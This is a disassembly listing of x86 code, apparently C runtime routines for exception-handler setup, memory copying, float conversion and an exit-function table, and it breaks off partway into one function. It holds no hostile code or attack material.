; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C798 proc near ; CODE XREF: sub_40D031+1Bp
; sub_40D031+44p ...
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_41C798 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_41C7BF(double)
sub_41C7BF proc near ; CODE XREF: sub_40D07D+82p
; ___:0040DD3Dp
var_24 = qword ptr -24h
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, 0FFFFh
push esi
push dword_43A988
call sub_4217E9
fld [ebp+arg_0]
pop ecx
mov ebx, eax
mov eax, dword ptr [ebp+arg_0+6]
pop ecx
push ecx
and ax, 7FF0h
push ecx
cmp ax, 7FF0h
fstp [esp+18h+var_18]
jnz short loc_41C845
call sub_4216B1
pop ecx
test eax, eax
pop ecx
jle short loc_41C828
cmp eax, 2
jle short loc_41C81A
cmp eax, 3
jnz short loc_41C828
fld [ebp+arg_0]
push ebx
push ecx ; int
push ecx
fstp qword ptr [esp]
push 0Ch ; double
call sub_420FC1
add esp, 10h
jmp short loc_41C88A
; ---------------------------------------------------------------------------
loc_41C81A: ; CODE XREF: sub_41C7BF+3Fj
push esi
push ebx
call sub_4217E9
fld [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_41C88A
; ---------------------------------------------------------------------------
loc_41C828: ; CODE XREF: sub_41C7BF+3Aj
; sub_41C7BF+44j
fld [ebp+arg_0]
fadd dbl_427710
push ebx
push ecx ; double
push ecx
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx
fstp [esp+24h+var_24]
push 0Ch
push 8
jmp short loc_41C882
; ---------------------------------------------------------------------------
loc_41C845: ; CODE XREF: sub_41C7BF+2Fj
call sub_421676
fstp [ebp+var_8]
fld [ebp+var_8]
fcomp [ebp+arg_0]
pop ecx
pop ecx
fnstsw ax
sahf
jnz short loc_41C868
loc_41C85A: ; CODE XREF: sub_41C7BF+ACj
push esi
push ebx
call sub_4217E9
fld [ebp+var_8]
pop ecx
pop ecx
jmp short loc_41C88A
; ---------------------------------------------------------------------------
loc_41C868: ; CODE XREF: sub_41C7BF+99j
test bl, 20h
jnz short loc_41C85A
fld [ebp+var_8]
push ebx ; int
push ecx
push ecx ; double
fstp qword ptr [esp]
fld [ebp+arg_0]
push ecx
push ecx ; double
fstp [esp+24h+var_24]
push 0Ch ; int
push 10h ; int
loc_41C882: ; CODE XREF: sub_41C7BF+84j
call sub_421014
add esp, 1Ch
loc_41C88A: ; CODE XREF: sub_41C7BF+59j
; sub_41C7BF+67j ...
pop esi
pop ebx
leave
retn
sub_41C7BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C88E proc near ; CODE XREF: ___:00422182p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, [ebp+arg_4]
add eax, 0Ch
mov [ebp+var_4], eax
mov ebx, large fs:0
mov eax, [ebx]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov ebx, [ebp+arg_4]
mov esp, [ebx-4]
mov ebp, [ebp+var_4]
jmp eax
sub_41C88E endp
; ---------------------------------------------------------------------------
pop edi
pop esi
pop ebx
leave
retn 8
; =============== S U B R O U T I N E =======================================
sub_41C8C2 proc near ; CODE XREF: sub_4222C2+199p
; sub_422486+3Ep
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41C8C2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41C8C9 proc near ; CODE XREF: sub_4222C2+17Fp
arg_4 = dword ptr 8
pop eax
pop ecx
xchg eax, [esp-8+arg_4]
jmp eax
sub_41C8C9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41C8D0 proc near ; CODE XREF: sub_41CA82+5Cp
; sub_422111:loc_422142p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov eax, large fs:0
mov [ebp+var_8], eax
mov [ebp+var_4], offset loc_41C8F8
push 0
push [ebp+arg_4]
push [ebp+var_4]
push [ebp+arg_0]
call sub_42675C
sub_41C8D0 endp
; ---------------------------------------------------------------------------
loc_41C8F8: ; DATA XREF: sub_41C8D0+11o
mov eax, [ebp+0Ch]
mov eax, [eax+4]
and al, 0FDh
mov ecx, [ebp+0Ch]
mov [ecx+4], eax
mov eax, large fs:0
mov ebx, [ebp-8]
mov [ebx], eax
mov large fs:0, ebx
pop edi
pop esi
pop ebx
leave
retn 8
; ---------------------------------------------------------------------------
loc_41C91F: ; CODE XREF: ___:00426DFCj
; ___:00426E19j ...
push ebp
mov ebp, esp
sub esp, 4
push ebx
push esi
push edi
cld
mov [ebp-4], eax
xor eax, eax
push eax
push eax
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_421D16
add esp, 20h
mov [ebp+14h], eax
pop edi
pop esi
pop ebx
mov eax, [ebp+14h]
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C955 proc near ; CODE XREF: sub_42218C+73p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
and [ebp+var_14], 0
mov ecx, [ebp+arg_0]
mov [ebp+var_C], eax
mov eax, [ebp+arg_C]
mov [ebp+var_10], offset sub_41C9A9
inc eax
mov [ebp+var_8], ecx
mov [ebp+var_4], eax
mov eax, large fs:0
mov [ebp+var_14], eax
lea eax, [ebp+var_14]
mov large fs:0, eax
push [ebp+arg_10]
push ecx
push [ebp+arg_8]
call sub_422510
mov ecx, eax
mov eax, [ebp+var_14]
mov large fs:0, eax
mov eax, ecx
leave
retn
sub_41C955 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C9A9 proc near ; DATA XREF: sub_41C955+16o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
cld
mov eax, [ebp+arg_4]
push 0
push eax
push dword ptr [eax+10h]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_421D16
add esp, 20h
pop ebp
retn
sub_41C9A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41C9CE proc near ; CODE XREF: sub_421F58+25p
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 34h
push ebx
push esi
push edi
and [ebp+var_28], 0
mov [ebp+var_24], offset sub_41CA82
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_41CA54
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_4DBA04
pop ecx
pop ecx
and [ebp+var_34], 0
loc_41CA54: ; DATA XREF: sub_41C9CE+3Co
cmp [ebp+var_4], 0
jz short loc_41CA71
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_41CA7A
; ---------------------------------------------------------------------------
loc_41CA71: ; CODE XREF: sub_41C9CE+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_41CA7A: ; CODE XREF: sub_41C9CE+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_41C9CE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CA82 proc near ; DATA XREF: sub_41C9CE+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_41CAA5
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_41CAF2
; ---------------------------------------------------------------------------
loc_41CAA5: ; CODE XREF: sub_41CA82+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_421D16
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_41CAE3
push [ebp+arg_0]
push [ebp+arg_4]
call sub_41C8D0
; ---------------------------------------------------------------------------
loc_41CAE3: ; CODE XREF: sub_41CA82+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_41CAF2: ; CODE XREF: sub_41CA82+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41CA82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CAF7 proc near ; CODE XREF: sub_421DB1+C6p
; sub_421F58+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_41CB4E
loc_41CB15: ; CODE XREF: sub_41CAF7+52j
cmp esi, 0FFFFFFFFh
jnz short loc_41CB1F
call sub_4225B2
loc_41CB1F: ; CODE XREF: sub_41CAF7+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_41CB34
cmp ecx, [eax+8]
jle short loc_41CB39
loc_41CB34: ; CODE XREF: sub_41CAF7+36j
cmp esi, 0FFFFFFFFh
jnz short loc_41CB45
loc_41CB39: ; CODE XREF: sub_41CAF7+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_41CB45: ; CODE XREF: sub_41CAF7+40j
cmp [ebp+arg_4], 0
jge short loc_41CB15
mov eax, [ebp+var_4]
loc_41CB4E: ; CODE XREF: sub_41CAF7+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_41CB62
cmp esi, eax
jbe short loc_41CB67
loc_41CB62: ; CODE XREF: sub_41CAF7+65j
call sub_4225B2
loc_41CB67: ; CODE XREF: sub_41CAF7+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_41CAF7 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_41CB74 proc near ; CODE XREF: sub_4234B8+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset sub_41CB8C
push [ebp+arg_0]
call sub_42675C
sub_41CB74 endp
; =============== S U B R O U T I N E =======================================
sub_41CB8C proc near ; DATA XREF: sub_41CB74+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41CB8C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41CB94 proc near ; DATA XREF: sub_41CBB6+Ao
; sub_41CC1E+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_41CBB5
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_41CBB5: ; CODE XREF: sub_41CB94+10j
retn
sub_41CB94 endp
; =============== S U B R O U T I N E =======================================
sub_41CBB6 proc near ; CODE XREF: sub_422232+Dp
; sub_4234B8+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_41CB94
push large dword ptr fs:0
mov large fs:0, esp
loc_41CBD3: ; CODE XREF: sub_41CBB6:loc_41CC0Ej
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_41CC10
cmp esi, [esp+1Ch+arg_4]
jz short loc_41CC10
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_41CC0E
push 101h
mov eax, [ebx+esi*4+8]
call sub_41CC4A
call dword ptr [ebx+esi*4+8]
loc_41CC0E: ; CODE XREF: sub_41CBB6+44j
jmp short loc_41CBD3
; ---------------------------------------------------------------------------
loc_41CC10: ; CODE XREF: sub_41CBB6+2Aj
; sub_41CBB6+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_41CBB6 endp
; =============== S U B R O U T I N E =======================================
sub_41CC1E proc near ; CODE XREF: sub_422252+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_41CB94
jnz short locret_41CC40
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_41CC40
mov eax, 1
locret_41CC40: ; CODE XREF: sub_41CC1E+10j
; sub_41CC1E+1Bj
retn
sub_41CC1E endp
; =============== S U B R O U T I N E =======================================
sub_41CC41 proc near ; CODE XREF: sub_422510+1Ep
; sub_422510+40p
push ebx
push ecx
mov ebx, offset dword_43A98C
jmp short loc_41CC54
sub_41CC41 endp
; =============== S U B R O U T I N E =======================================
sub_41CC4A proc near ; CODE XREF: sub_41CBB6+4Fp
; sub_4234B8+78p
push ebx
push ecx
mov ebx, offset dword_43A98C
mov ecx, [ebp+8]
loc_41CC54: ; CODE XREF: sub_41CC41+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_41CC4A endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_41CC64 proc near ; CODE XREF: sub_40D07D+5p
; sub_40D21F+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_41CC64 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41CC83 proc near ; CODE XREF: sub_40D6B4+26p
; ___:004264F2p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41B0B1
pop ecx
retn
sub_41CC83 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41CC90 proc near ; CODE XREF: sub_40D725+3Ap
; sub_41DEA2+2EFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_41CCB0
cmp edi, eax
jb loc_41CE28
loc_41CCB0: ; CODE XREF: sub_41CC90+16j
test edi, 3
jnz short loc_41CCCC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
loc_41CCCC: ; CODE XREF: sub_41CC90+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_41CCE4
and eax, 3
add ecx, eax
jmp dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CCE4: ; CODE XREF: sub_41CC90+46j
jmp dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CCEC: ; CODE XREF: sub_41CC90+31j
; sub_41CC90+8Ej ...
jmp off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
db 90h
dd offset loc_41CD00
dd offset loc_41CD2C
dd offset loc_41CD50
; ---------------------------------------------------------------------------
loc_41CD00: ; DATA XREF: sub_41CC90+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CD2C: ; DATA XREF: sub_41CC90+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CD50: ; DATA XREF: sub_41CC90+6Co
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41CCEC
rep movsd
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CD6C dd offset loc_41CDCF ; DATA XREF: sub_41CC90:loc_41CCECr
dd offset loc_41CDBC
dd offset loc_41CDB4
dd offset loc_41CDAC
dd offset loc_41CDA4
dd offset loc_41CD9C
dd offset loc_41CD94
dd offset loc_41CD8C
; ---------------------------------------------------------------------------
loc_41CD8C: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_41CD94: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_41CD9C: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_41CDA4: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_41CDAC: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_41CDB4: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_41CDBC: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CDCF: ; CODE XREF: sub_41CC90:loc_41CCECj
; DATA XREF: sub_41CC90:off_41CD6Co
jmp off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41CDD8 dd offset loc_41CDE8 ; DATA XREF: sub_41CC90+35r
; sub_41CC90+92r ...
dd offset loc_41CDF0
dd offset loc_41CDFC
dd offset loc_41CE10
; ---------------------------------------------------------------------------
loc_41CDE8: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CDF0: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CDFC: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_41CE10: ; CODE XREF: sub_41CC90+35j
; sub_41CC90+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CE28: ; CODE XREF: sub_41CC90+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41CE5C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_41CE50: ; CODE XREF: sub_41CC90+1B1j
; sub_41CC90+208j ...
neg ecx
jmp off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CE5C: ; CODE XREF: sub_41CC90+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_41CE74
and eax, 3
sub ecx, eax
jmp dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------
loc_41CE74: ; CODE XREF: sub_41CC90+1D6j
; DATA XREF: sub_41CC90+1DDr
jmp off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CE87+1
dd offset loc_41CEA8
; ---------------------------------------------------------------------------
ror dh, 1
inc ecx
loc_41CE87: ; DATA XREF: sub_41CC90+1ECo
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41CEA8: ; DATA XREF: sub_41CC90+1F0o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_41CE50
std
rep movsd
cld
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41CF24
dd offset loc_41CF2C
dd offset loc_41CF34
dd offset loc_41CF3C
dd offset loc_41CF44
dd offset loc_41CF4C
dd offset loc_41CF54
off_41CF20 dd offset loc_41CF67 ; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------
loc_41CF24: ; DATA XREF: sub_41CC90+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41CF2C: ; DATA XREF: sub_41CC90+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_41CF34: ; DATA XREF: sub_41CC90+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41CF3C: ; DATA XREF: sub_41CC90+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_41CF44: ; DATA XREF: sub_41CC90+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41CF4C: ; DATA XREF: sub_41CC90+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_41CF54: ; DATA XREF: sub_41CC90+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_41CF67: ; CODE XREF: sub_41CC90+1C2j
; DATA XREF: sub_41CC90:off_41CF20o
jmp off_41CF70[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_41CF70 dd offset loc_41CF80 ; DATA XREF: sub_41CC90+1B7r
; sub_41CC90:loc_41CE74r ...
dd offset loc_41CF88
dd offset loc_41CF98
dd offset loc_41CFAC
; ---------------------------------------------------------------------------
loc_41CF80: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CF88: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CF98: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41CFAC: ; CODE XREF: sub_41CC90+1B7j
; sub_41CC90:loc_41CE74j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_41CC90 endp
; =============== S U B R O U T I N E =======================================
sub_41CFC5 proc near ; CODE XREF: sub_40D78C+34p
; sub_40D78C+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_41B4E7
pop ecx
pop ecx
retn
sub_41CFC5 endp
; =============== S U B R O U T I N E =======================================
sub_41CFD3 proc near ; CODE XREF: sub_41D040+4p
arg_0 = dword ptr 4
push esi
push dword_4DCFFC
call sub_422608
mov edx, dword_4DCFFC
pop ecx
mov ecx, dword_4DCFF8
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_41D032
push edx
call sub_422608
add eax, 10h
push eax
push dword_4DCFFC
call sub_41B202
add esp, 0Ch
test eax, eax
jnz short loc_41D015
retn
; ---------------------------------------------------------------------------
loc_41D015: ; CODE XREF: sub_41CFD3+3Fj
mov ecx, dword_4DCFF8
sub ecx, dword_4DCFFC
mov dword_4DCFFC, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_4DCFF8, ecx
loc_41D032: ; CODE XREF: sub_41CFD3+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_4DCFF8, 4
retn
sub_41CFD3 endp
; =============== S U B R O U T I N E =======================================
sub_41D040 proc near ; CODE XREF: sub_40D879+1Ap
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41CFD3
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_41D040 endp
; =============== S U B R O U T I N E =======================================
sub_41D052 proc near ; DATA XREF: ___:0042901Co
push 80h
call sub_41B4D5
test eax, eax
pop ecx
mov dword_4DCFFC, eax
jnz short loc_41D073
push 18h
call sub_41DA29
mov eax, dword_4DCFFC
pop ecx
loc_41D073: ; CODE XREF: sub_41D052+12j
and dword ptr [eax], 0
mov eax, dword_4DCFFC
mov dword_4DCFF8, eax
retn
sub_41D052 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41D081 proc near ; CODE XREF: ___:0040DB4Cp
var_CC = byte ptr -0CCh
var_32 = word ptr -32h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
nop
call near ptr 2770584h
lea eax, [ebp+var_20]
